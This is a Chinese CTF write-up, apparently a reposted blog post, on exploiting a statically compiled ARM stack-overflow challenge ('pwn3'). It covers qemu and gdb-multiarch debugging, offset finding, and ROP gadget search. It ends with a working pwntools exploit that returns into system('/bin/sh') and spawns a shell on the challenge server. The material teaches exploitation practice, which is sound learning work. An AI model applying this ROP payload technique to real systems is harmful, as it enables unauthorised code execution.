arm栈溢出

博客地址
静态编译的arm栈溢出,我也是第一次做arm,主要需要解决动态调试的问题。
题目地址

arm基础知识

r0,r1,r2,r3为前四个参数,在多余的参数依次压栈。
pc为程序下一条指令地址,相当于x86汇编里的eip。

环境配置

qemu,用来模拟arm环境
在这里插入图片描述
如图,可以运行arm程序
gdb-multiarch,用来调试arm架构程序

动态调试

1.qemu-arm -g 1234 ./pwn3 来打开程序并且发送到端口  
2. gdb-multiarch来打开gdb
3.`set architecture arm`设置架构为arm
4.`target remote:1234`侦听端口

在这里插入图片描述
如图,成功断下。

题目实例

前提

由于这个题是静态编译,不需要依赖libc库,如果为动态编译的题,可能运行还需要解决依赖问题。

寻找漏洞

首次运行程序,
在这里插入图片描述
发现需要新建banner.txt,那好我们就新建一个。
在这里插入图片描述
发现打印出了txt里内容。
由此可以想到两种情况。
1.实现fd=open(“banner.txt”,“r”),read(fd,x,x),write(1,x,x);
2.实现system(“cat banner.txt”)
我们使用cyclic 200生成200字节输入
在这里插入图片描述
发现报错.使用命令cyclic -l 0x6261616a来查找偏移,为136。

程序分析

将程序拖入IDA,发现没有main函数,shift+F12查找buffer:字符串,同时也发现/bin/sh字符串。
在这里插入图片描述
在这里插入图片描述
发现两次引用。先进入第一个函数,查看伪代码。
在这里插入图片描述
应该就是main函数
sub_102E4()应该就是banner.txt操作函数,进入
在这里插入图片描述
sub_14B5C即为system函数
寻找ROP,
ROPgadget --binary pwn3 --only "pop|ret"
在这里插入图片描述

编写exp

构造payload

	system_addr=0x01480C
	binsh_addr=0x49018
	pop_r0_r4_pc=0x1fb5c
	payload="a"*136+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr)

以为可以一把梭,但是失败了,
gdb-multiarch ./pwn3 qemu_pwn3_20200405-212216_5840.core命令来查看程序死掉时的状态。
在这里插入图片描述
发现差的有点多,好像啥都没写进去。
经过我的尝试发现偏移实际为140,这可能时cyclic在测试arm程序的一个bug,
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr)
还是失败,这时我就有点纳闷了,因为我一直没找到好的pwntools+gdb-multiarch动调的方法.
尝试payload在pc的时候直接挂掉,将pc设置为0xffffffff来查看pc是否写入.
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(0xffffffff)
在这里插入图片描述
发现挂在了0xfffffffe,所以应该是在某一点将pc-1了。
payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr+1)
在这里插入图片描述
实现getshell

exp:

# -*- coding: utf-8 -*
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
context.arch = 'i386'


p = 0
def pwn(ip,port,debug,flaag):
	elf = ELF(flaag)
	global p
	if(debug == 1):
		p = process(flaag)

	else:
		p = remote(ip,port)
	system_addr=0x01480C
	binsh_addr=0x49018
	pop_r0_r4_pc=0x1fb5c
	payload="a"*140+p32(pop_r0_r4_pc)+p32(binsh_addr)+p32(0)+p32(system_addr+1)
	p.sendlineafter("buffer: ",payload)
	p.interactive()
if __name__ == '__main__':
	pwn('buuoj.cn',20035,1,'./pwn3')

总结

因为这我也是头一回接触arm程序,所以可能写的有点啰嗦,而且一直在pwntools下动调arm这一直没有找到合适的解决方案,希望有会的师傅们可以说一下,带带弟弟。

ps

找到动调的方法了,
p = process(['qemu-arm','-g','1234','./pwn3'])
exp中使用pause()暂停住程序。
来打开文件同时也会发送到端口,另开一终端,

扫描二维码关注公众号,回复: 11271615 查看本文章
gdb-multiarch  
set architecture arm 
target remote 127.0.0.1:1234

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/qq_43116977/article/details/105341940
今日推荐